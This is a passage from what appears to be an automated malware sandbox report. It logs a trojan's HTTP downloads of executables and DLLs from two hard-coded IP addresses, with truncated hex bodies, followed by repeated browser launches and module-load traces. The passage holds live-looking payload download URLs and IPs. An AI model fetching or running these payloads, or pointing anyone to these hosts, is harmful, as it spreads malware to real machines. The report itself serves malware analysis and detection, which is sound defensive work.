AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 109.107.182.3 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 27 Jan 2024 00:40:49 GMT Content-Type: application/octet-stream Content-Length: 1196032 Last-Modified: Sat 27 Jan 2024 08:22:54 GMT Connection: keep-alive ETag: "65b4bd5e-124000" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000018010000....... "GET /cost/networa.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 109.107.182.3 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 27 Jan 2024 00:40:54 GMT Content-Type: application/octet-stream Content-Length: 915968 Last-Modified: Sat 27 Jan 2024 08:23:05 GMT Connection: keep-alive ETag: "65b4bd69-dfa00" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000020010000....... "GET /theme/Plugins/cred64.dll HTTP/1.1 Host: 185.215.113.68" Response ==> HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Sat 27 Jan 2024 00:41:04 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive with response body ==>3C68746D6C3E0D0A3C686561643E3C7469746C653E343034204E6F7420466F756E643C2F7469746C653E3C2F686561643E0D0A3C626F64793E0D0A3C63656E74....... "GET /theme/Plugins/clip64.dll HTTP/1.1 Host: 185.215.113.68" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 27 Jan 2024 00:41:04 GMT Content-Type: application/octet-stream Content-Length: 104448 Last-Modified: Thu 04 Jan 2024 19:50:16 GMT Connection: keep-alive ETag: "65970bf8-19800" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000010010000....... "GET /lego/rdx1122.exe HTTP/1.1 Host: 109.107.182.3" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 27 Jan 2024 00:41:05 GMT Content-Type: application/octet-stream Content-Length: 337888 Last-Modified: Mon 22 Jan 2024 22:40:37 GMT Connection: keep-alive ETag: "65aeeee5-527e0" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000080000000....... "GET /lego/rdxx1.exe HTTP/1.1 Host: 109.107.182.3" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 27 Jan 2024 00:41:07 GMT Content-Type: application/octet-stream Content-Length: 482816 Last-Modified: Fri 26 Jan 2024 22:10:03 GMT Connection: keep-alive ETag: "65b42dbb-75e00" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E0000000....... "GET /cost/ko.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 109.107.182.3 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 27 Jan 2024 00:43:13 GMT Content-Type: application/octet-stream Content-Length: 918016 Last-Modified: Sat 27 Jan 2024 08:23:05 GMT Connection: keep-alive ETag: "65b4bd69-e0200" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000020010000....... "GET /mine/amers.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 185.215.113.68 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 27 Jan 2024 00:43:16 GMT Content-Type: application/octet-stream Content-Length: 809472 Last-Modified: Sat 27 Jan 2024 08:22:56 GMT Connection: keep-alive ETag: "65b4bd60-c5a00" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000008010000....... "GET /cost/niks.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 109.107.182.3 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 27 Jan 2024 00:43:18 GMT Content-Type: application/octet-stream Content-Length: 62976 Last-Modified: Sat 27 Jan 2024 08:22:59 GMT Connection: keep-alive ETag: "65b4bd63-f600" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000080000000....... "GET /cost/vinu.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 109.107.182.3 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 27 Jan 2024 00:43:19 GMT Content-Type: application/octet-stream Content-Length: 1196032 Last-Modified: Sat 27 Jan 2024 08:22:54 GMT Connection: keep-alive ETag: "65b4bd5e-124000" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000018010000....... "GET /cost/networa.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 109.107.182.3 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 27 Jan 2024 00:43:20 GMT Content-Type: application/octet-stream Content-Length: 915968 Last-Modified: Sat 27 Jan 2024 08:23:05 GMT Connection: keep-alive ETag: "65b4bd69-dfa00" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000020010000.......41:T576,Launches browser "msedge.exe" (UID: 00000000-00007332) Launches browser "msedge.exe" (UID: 00000000-00006840) Launches browser "msedge.exe" (UID: 00000000-00007304) Launches browser "msedge.exe" (UID: 00000000-00002408) Launches browser "msedge.exe" (UID: 00000000-00002840) Launches browser "msedge.exe" (UID: 00000000-00008024) Launches browser "msedge.exe" (UID: 00000000-00000552) Launches browser "msedge.exe" (UID: 00000000-00007460) Launches browser "msedge.exe" (UID: 00000000-00006512) Launches browser "msedge.exe" (UID: 00000000-00003664) Launches browser "msedge.exe" (UID: 00000000-00001368) Launches browser "msedge.exe" (UID: 00000000-00007296) Launches browser "msedge.exe" (UID: 00000000-00000684) Launches browser "msedge.exe" (UID: 00000000-00004100) Launches browser "msedge.exe" (UID: 00000000-00006972) Launches browser "msedge.exe" (UID: 00000000-00004144) Launches browser "msedge.exe" (UID: 00000000-00003584) Launches browser "msedge.exe" (UID: 00000000-00001404) Launches browser "msedge.exe" (UID: 00000000-00002684) Launches browser "msedge.exe" (UID: 00000000-00007832) Launches browser "msedge.exe" (UID: 00000000-00001116) Launches browser "msedge.exe" (UID: 00000000-00002876) Launches browser "msedge.exe" (UID: 00000000-00007984) Launches browser "msedge.exe" (UID: 00000000-00007640) Launches browser "msedge.exe" (UID: 00000000-00002756)42:T6862,"974c9.Trojan.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 761a0000 "974c9.Trojan.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 761a0000 "974c9.Trojan.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 761a0000 "974c9.Trojan.exe" loaded module "KERNEL32" at base 776e0000 "974c9.Trojan.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 739a0000 "974c9.Trojan.exe" loaded module "SHFOLDER.DLL" at base 73910000 "974c9.Trojan.exe" loaded module "IMM32.DLL" at base 74670000 "974c9.Trojan.exe" loaded module "COMCTL32.DLL" at base 73430000 "974c9.Trojan.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73c50000 "974c9.Trojan.exe" loaded module "KERNEL32.DLL" at base 776e0000 "974c9.Trojan.exe" loaded module "RPCRT4.DLL" at base 76e20000 "974c9.Trojan.exe" loaded module "SSPICLI.DLL" at base 741d0000 "974c9.Trojan.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-0" at base 761a0000 "974c9.Trojan.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 761a0000 "974c9.Trojan.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 761a0000 "974c9.Trojan.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 761a0000 "974c9.Trojan.exe" loaded module "NTDLL.DLL" at base 777b0000 "974c9.Trojan.exe" loaded module "WINHTTP.DLL" at base 73380000 "974c9.Trojan.exe" loaded module "WININET.DLL" at base 730b0000 "974c9.Trojan.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 73bb0000 "974c9.Trojan.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 738f0000 "974c9.Trojan.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 738f0000 "974c9.Trojan.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 738a0000 "974c9.Trojan.exe" loaded module "%WINDIR%\SYSWOW64\SCHANNEL.DLL" at base 72fc0000 "974c9.Trojan.exe" loaded module "MSKEYPROTECT.DLL" at base 72fb0000 "974c9.Trojan.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 72f40000 "974c9.Trojan.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 74280000 "974c9.Trojan.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 72ef0000 "974c9.Trojan.exe" loaded module "WS2_32.DLL" at base 76950000 "974c9.Trojan.exe" loaded module "VAULTCLI.DLL" at base 72e90000 "974c9.Trojan.exe" loaded module "USER32.DLL" at base 76b90000 "974c9.Trojan.exe" loaded module "ONDEMANDCONNROUTEHELPER.DLL" at base 72c80000 "974c9.Trojan.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 72c80000 "974c9.Trojan.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 776e0000 "974c9.Trojan.exe" loaded module "MSISO.DLL" at base 72a90000 "974c9.Trojan.exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base 76950000 "974c9.Trojan.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73720000 "974c9.Trojan.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 76380000 "974c9.Trojan.exe" loaded module "SHELL32.DLL" at base 747c0000 "974c9.Trojan.exe" loaded module "%WINDIR%\SYSWOW64\\WINDOWS.STATEREPOSITORYPS.DLL" at base 72960000 "974c9.Trojan.exe" loaded module "%WINDIR%\SYSWOW64\SHELL32.DLL" at base 747c0000 "974c9.Trojan.exe" loaded module "%WINDIR%\SYSWOW64\URLMON.DLL" at base 72af0000 "974c9.Trojan.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 761a0000 "974c9.Trojan.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74120000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 761a0000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 761a0000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 761a0000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "KERNEL32" at base 776e0000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 739a0000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "KERNEL32.DLL" at base 776e0000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73c50000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "API-MS-WIN-CORE-SYSINFO-L1-2-1" at base 761a0000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "COMCTL32.DLL" at base 726d0000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "COMCTL32" at base 726d0000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "RPCRT4.DLL" at base 76e20000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "%WINDIR%\SYSWOW64\ONECOREUAPCOMMONPROXYSTUB.DLL" at base 723c0000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 776e0000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "USER32.DLL" at base 76b90000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "%WINDIR%\SYSWOW64\WINDOWS.SHELL.SERVICEHOSTBUILDER.DLL" at base 723a0000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "%WINDIR%\SYSWOW64\IEFRAME.DLL" at base 71830000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "PROPSYS.DLL" at base 73720000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73720000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "API-MS-WIN-DOWNLEVEL-OLE32-L1-1-0.DLL" at base 76ee0000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "SECUR32.DLL" at base 717e0000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "SSPICLI.DLL" at base 741d0000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "MLANG.DLL" at base 717a0000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L2-1-0.DLL" at base 75c50000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "WININET.DLL" at base 730b0000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.UI.APPDEFAULTS.DLL" at base 0 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 76380000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "NTDLL.DLL" at base 777b0000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "%WINDIR%\SYSTEM32\SFC_OS.DLL" at base 71760000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "SHELL32.DLL" at base 747c0000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "%WINDIR%\SYSWOW64\\WINDOWS.STATEREPOSITORYPS.DLL" at base 72960000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "%WINDIR%\SYSWOW64\SHELL32.DLL" at base 747c0000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "%WINDIR%\SYSWOW64\URLMON.DLL" at base 72af0000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "MSISO.DLL" at base 72a90000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 761a0000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "%WINDIR%\SYSTEM32\NDFAPI.DLL" at base 738c0000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "%WINDIR%\SYSTEM32\DUSER.DLL" at base 72320000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "%WINDIR%\SYSTEM32\XMLLITE.DLL" at base 73600000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "ATLTHUNK.DLL" at base 718f0000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 75b00000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 775b0000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "OLEAUT32.DLL" at base 74360000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "EXT-MS-WIN-RTCORE-NTUSER-WINDOW-EXT-L1-1-0.DLL" at base 76b90000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "EXT-MS-WIN-RTCORE-NTUSER-INTEGRATION-L1-1-0.DLL" at base 76b90000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "API-MS-WIN-CORE-COM-L1-1-0.DLL" at base 76ee0000 "cjV6Q2vxV7zvCn3KN9LD.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 761a0000 "cjV6Q2vxV7zvCn3KN9LD.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 761a0000 "cjV6Q2vxV7zvCn3KN9LD.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 761a0000 "cjV6Q2vxV7zvCn3KN9LD.exe" loaded module "KERNEL32" at base 776e0000 "cjV6Q2vxV7zvCn3KN9LD.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 739a0000 "cjV6Q2vxV7zvCn3KN9LD.exe" loaded module "SHFOLDER.DLL" at base 73910000 "cjV6Q2vxV7zvCn3KN9LD.exe" loaded module "IMM32.DLL" at base 74670000 "cjV6Q2vxV7zvCn3KN9LD.exe" loaded module "COMCTL32.DLL" at base 73430000 "cjV6Q2vxV7zvCn3KN9LD.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73c50000 "cjV6Q2vxV7zvCn3KN9LD.exe" loaded module "KERNEL32.DLL" at base 776e0000 "cjV6Q2vxV7zvCn3KN9LD.exe" loaded module "RPCRT4.DLL" at base 76e20000 "cjV6Q2vxV7zvCn3KN9LD.exe" loaded module "SSPICLI.DLL" at base 741d0000 "cjV6Q2vxV7zvCn3KN9LD.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 747c0000 "cjV6Q2vxV7zvCn3KN9LD.exe" loaded module "COMCTL32.DLL" at base 726d0000 "cjV6Q2vxV7zvCn3KN9LD.exe" loaded module "NTDLL.DLL" at base 777b0000 "cjV6Q2vxV7zvCn3KN9LD.exe" loaded module "USER32.DLL" at base 76b90000 "cjV6Q2vxV7zvCn3KN9LD.exe" loaded module "%WINDIR%\SYSTEM32\DUSER.DLL" at base 72320000 "cjV6Q2vxV7zvCn3KN9LD.exe" loaded module "%WINDIR%\WINSXS\X86_MICROSOFT.WINDOWS.GDIPLUS_6595B64144CCF1DF_1.1.16299.248_NONE_8E66FBC1026DF8AB\GDIPLUS.DLL" at base 73f10000 "cjV6Q2vxV7zvCn3KN9LD.exe" loaded module "%WINDIR%\SYSWOW64\ONECOREUAPCOMMONPROXYSTUB.DLL" at base 723c0000 "cjV6Q2vxV7zvCn3KN9LD.exe" loaded module "OLEAUT32.DLL" at base 74360000 "cjV6Q2vxV7zvCn3KN9LD.exe" loaded module "ATLTHUNK.DLL" at base 718f0000 "cjV6Q2vxV7zvCn3KN9LD.exe" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 75b00000 "cjV6Q2vxV7zvCn3KN9LD.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73720000 "cjV6Q2vxV7zvCn3KN9LD.exe" loaded module "%WINDIR%\SYSTEM32\EXPLORERFRAME.DLL" at base 6fd40000 "cjV6Q2vxV7zvCn3KN9LD.exe" loaded module "%WINDIR%\SYSWOW64\\WINDOWS.STATEREPOSITORYPS.DLL" at base 72960000 "cjV6Q2vxV7zvCn3KN9LD.exe" loaded module "%WINDIR%\SYSWOW64\SHELL32.DLL" at base 747c0000 "cjV6Q2vxV7zvCn3KN9LD.exe" loaded module "SHELL32.DLL" at base 747c0000 "cjV6Q2vxV7zvCn3KN9LD.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 76380000 "cjV6Q2vxV7zvCn3KN9LD.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 776e0000 "cjV6Q2vxV7zvCn3KN9LD.exe" loaded module "%WINDIR%\SYSWOW64\URLMON.DLL" at base 72af0000 "cjV6Q2vxV7zvCn3KN9LD.exe" loaded module "MSISO.DLL" at base 72a90000 "cjV6Q2vxV7zvCn3KN9LD.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 761a0000 "cjV6Q2vxV7zvCn3KN9LD.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74120000 "cjV6Q2vxV7zvCn3KN9LD.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 75ce0000 "HaHIGF310vbb4fU3fDiY.exe" loaded module "KERNEL32" at base 776e0000 "HaHIGF310vbb4fU3fDiY.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 761a0000 "HaHIGF310vbb4fU3fDiY.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 761a0000 "HaHIGF310vbb4fU3fDiY.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 761a0000 "HaHIGF310vbb4fU3fDiY.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 74670000 "HaHIGF310vbb4fU3fDiY.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 761a0000 "HaHIGF310vbb4fU3fDiY.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 761a0000 "HaHIGF310vbb4fU3fDiY.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 761a0000 "HaHIGF310vbb4fU3fDiY.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 739a0000 "HaHIGF310vbb4fU3fDiY.exe" loaded module "ADVAPI32.DLL" at base 76b10000 "HaHIGF310vbb4fU3fDiY.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 72270000 "HaHIGF310vbb4fU3fDiY.exe" loaded module "SHLWAPI.DLL" at base 76150000 "HaHIGF310vbb4fU3fDiY.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 75ce0000 "HaHIGF310vbb4fU3fDiY.exe" loaded module "VERSION.DLL" at base 73ef0000 "HaHIGF310vbb4fU3fDiY.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 71ac0000 "HaHIGF310vbb4fU3fDiY.exe" loaded module "USER32.DLL" at base 76b90000 "HaHIGF310vbb4fU3fDiY.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 761a0000 "HaHIGF310vbb4fU3fDiY.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "HaHIGF310vbb4fU3fDiY.exe" loaded module "MSCOREE.DLL" at base 71700000 "HaHIGF310vbb4fU3fDiY.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 76ee0000 "HaHIGF310vbb4fU3fDiY.exe" loaded module "PSAPI.DLL" at base 76060000 "HaHIGF310vbb4fU3fDiY.exe" loaded module "KERNEL32.DLL" at base 776e0000 "HaHIGF310vbb4fU3fDiY.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 70180000 "HaHIGF310vbb4fU3fDiY.exe" loaded module "RPCRT4.DLL" at base 76e20000 "HaHIGF310vbb4fU3fDiY.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "HaHIGF310vbb4fU3fDiY.exe" loaded module "OLE32.DLL" at base 775b0000 "HaHIGF310vbb4fU3fDiY.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "HaHIGF310vbb4fU3fDiY.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 76ee0000 "HaHIGF310vbb4fU3fDiY.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 761a0000 "HaHIGF310vbb4fU3fDiY.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 71960000 "HaHIGF310vbb4fU3fDiY.exe" loaded module "NTDLL.DLL" at base 777b0000 "HaHIGF310vbb4fU3fDiY.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "HaHIGF310vbb4fU3fDiY.exe" loaded module "SHELL32.DLL" at base 747c0000 "HaHIGF310vbb4fU3fDiY.exe" loaded module "SSPICLI.DLL" at base 741d0000 "HaHIGF310vbb4fU3fDiY.exe" loaded module "ADVAPI32" at base 76b10000 "HaHIGF310vbb4fU3fDiY.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 6f2e0000 "HaHIGF310vbb4fU3fDiY.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "2Sz9u8LqhC5hU2hE9Hgc.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 761a0000 "2Sz9u8LqhC5hU2hE9Hgc.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 761a0000 "2Sz9u8LqhC5hU2hE9Hgc.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 761a0000 "2Sz9u8LqhC5hU2hE9Hgc.exe" loaded module "KERNEL32" at base 776e0000 "2Sz9u8LqhC5hU2hE9Hgc.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 739a0000 "2Sz9u8LqhC5hU2hE9Hgc.exe" loaded module "SHFOLDER.DLL" at base 73910000 "2Sz9u8LqhC5hU2hE9Hgc.exe" loaded module "IMM32.DLL" at base 74670000 "2Sz9u8LqhC5hU2hE9Hgc.exe" loaded module "COMCTL32.DLL" at base 73430000 "2Sz9u8LqhC5hU2hE9Hgc.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73c50000 "2Sz9u8LqhC5hU2hE9Hgc.exe" loaded module "KERNEL32.DLL" at base 776e0000 "2Sz9u8LqhC5hU2hE9Hgc.exe" loaded module "RPCRT4.DLL" at base 76e20000 "2Sz9u8LqhC5hU2hE9Hgc.exe" loaded module "SSPICLI.DLL" at base 741d0000 "2Sz9u8LqhC5hU2hE9Hgc.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-0" at base 761a0000 "2Sz9u8LqhC5hU2hE9Hgc.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 761a0000 "2Sz9u8LqhC5hU2hE9Hgc.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 761a0000 "2Sz9u8LqhC5hU2hE9Hgc.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 761a0000 "2Sz9u8LqhC5hU2hE9Hgc.exe" loaded module "WINHTTP.DLL" at base 73380000 "2Sz9u8LqhC5hU2hE9Hgc.exe" loaded module "WININET.DLL" at base 730b0000 "2Sz9u8LqhC5hU2hE9Hgc.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 73bb0000 "2Sz9u8LqhC5hU2hE9Hgc.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 72c80000 "2Sz9u8LqhC5hU2hE9Hgc.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 72fd0000 "2Sz9u8LqhC5hU2hE9Hgc.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 72fe0000 "2Sz9u8LqhC5hU2hE9Hgc.exe" loaded module "%WINDIR%\SYSWOW64\SCHANNEL.DLL" at base 72f60000 "2Sz9u8LqhC5hU2hE9Hgc.exe" loaded module "MSKEYPROTECT.DLL" at base 72f50000 "2Sz9u8LqhC5hU2hE9Hgc.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 72c80000 "2Sz9u8LqhC5hU2hE9Hgc.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 74280000 "2Sz9u8LqhC5hU2hE9Hgc.exe" loaded 